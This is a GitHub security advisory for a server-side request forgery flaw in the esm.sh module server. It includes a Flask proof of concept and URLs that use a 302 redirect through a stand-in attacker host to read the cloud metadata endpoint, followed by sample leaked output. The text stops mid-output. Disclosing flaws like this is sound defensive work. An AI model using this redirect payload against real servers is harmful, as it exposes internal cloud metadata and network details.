GitHub Security Advisory: GHSA-3c9r-837r-qqm4
Package: github.com/esm-dev/esm.sh (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 0.0.0[PII_REDACTED]4[PII_REDACTED]c4cfa
Patched in: 0.0.0[PII_REDACTED]4[PII_REDACTED]c4cfa

Summary: esm.sh is vulnerable to full-response SSRF

Details:
### Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

### Details

Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

```
".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"
```

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md 

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

### PoC

Use Flask to start a server that returns a 302 redirect.

```python
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/test.md')
def redirect_test():
    return redirect("http://169.254.169.254/v1.json", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
```

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

```
var t=`<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;****&quot;,&quot;instance-v2-id&quot;:&quot;****&quot;,&quot;instanceid&quot;:&quot;****&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;gateway&quot;:&quot;****&quot;,&quot;netmask&quot;:&quot;****&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;****&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;network&quot;:&quot;****&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;****&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;****&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p>
`,o={},u=t;export{u as default,t as html,o as meta};
```

Decode the data (redacted) .

```json
{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","